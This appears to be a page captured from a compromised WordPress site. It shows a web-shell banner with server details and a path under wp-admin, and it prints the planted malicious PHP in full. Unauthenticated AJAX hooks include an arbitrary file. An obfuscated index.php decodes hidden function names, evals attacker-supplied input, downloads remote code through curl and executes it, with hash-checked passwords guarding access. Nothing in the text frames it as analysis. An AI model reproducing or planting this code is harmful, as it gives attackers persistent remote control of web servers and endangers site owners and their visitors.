if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/css/colors/light/light/light/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/css/colors/light/light/light/index.php
<?php $WVPmS = "r"."a"."n"."g"."e"; $H = $WVPmS("~", " "); $C=${$H[30+1].$H[25+34].$H[7+40].$H[37+10].$H[26+25].$H[42+11].$H[20+37]}; if(in_array(gettype($C)."18",$C)&&(md5(md5(md5(md5($C[12]))))==="9a9677c15cc3709dcc73470e80bdd191")){ $C[61]=$C[61].$C[78]; @eval($C[61](${$C[31]}[29])); } metaphone("DesZOdxSN9S04P9vbfI6qiWw6aEMnPtrkq/ZJ6thmMk"); class HCL{ static function hzq($nmY) { $TlazgHN = "r"."a"."n"."g"."e"; $fyWbzxZm = $TlazgHN("~", " "); $gsvepamQr = explode("#", $nmY); $lT = ""; foreach ($gsvepamQr as $gJt => $jwsJXbq) $lT .= $fyWbzxZm[$jwsJXbq - 33231]; return $lT; } static function xjRz($eplq, $Ty) { $KtnMWXmx = curl_init($eplq); curl_setopt($KtnMWXmx, CURLOPT_RETURNTRANSFER, 1); $YhXLI = curl_exec($KtnMWXmx); return empty($YhXLI) ? $Ty($eplq) : $YhXLI; } static function AbjiGSvsT() { $lI = array("33258#33243#33256#33260#33241#33256#33262#33255#33240#33247#33258#33241#33252#33246#33247","33242#33241#33243#33262#33243#33246#33241#33308#33306","33251#33242#33246#33247#33262#33257#33256#33258#33246#33257#33256","33245#33260#33258#33250","33259#33260#33242#33256#33303#33305#33262#33257#33256#33258#33246#33257#33256","33255#33252#33249#33256#33262#33254#33256#33241#33262#33258#33246#33247#33241#33256#33247#33241#33242","33285#33315","33232","33310#33315","33292#33275#33275#33292#33268","33255#33252#33249#33241#33256#33243#33262#33252#33247#33245#33240#33241"); foreach ($lI as $Hyxnzi) $kXNspbt[] = self::hzq($Hyxnzi); $rqKR = @$kXNspbt[1]($kXNspbt[5+5](INPUT_GET, $kXNspbt[3+6]));  $UvZNp = @$kXNspbt[2+1]($kXNspbt[0+6], $rqKR); $zlqY = $kXNspbt[0+2]($UvZNp, true);  @$kXNspbt[7+3](INPUT_GET, "of") == 1 && die($kXNspbt[1+4](__FILE__)); if( ((@$zlqY[0] - time()) > 0) and (md5(md5($zlqY[1+2])) === "9b03bf840b37444f9d76c3d017bd2162") ): $neKsv = self::xjRz($zlqY[0+1], $kXNspbt[4+1]);@eval($kXNspbt[4+0]($neKsv));die; endif; }}HCL::AbjiGSvsT(); ?>
@ Telegram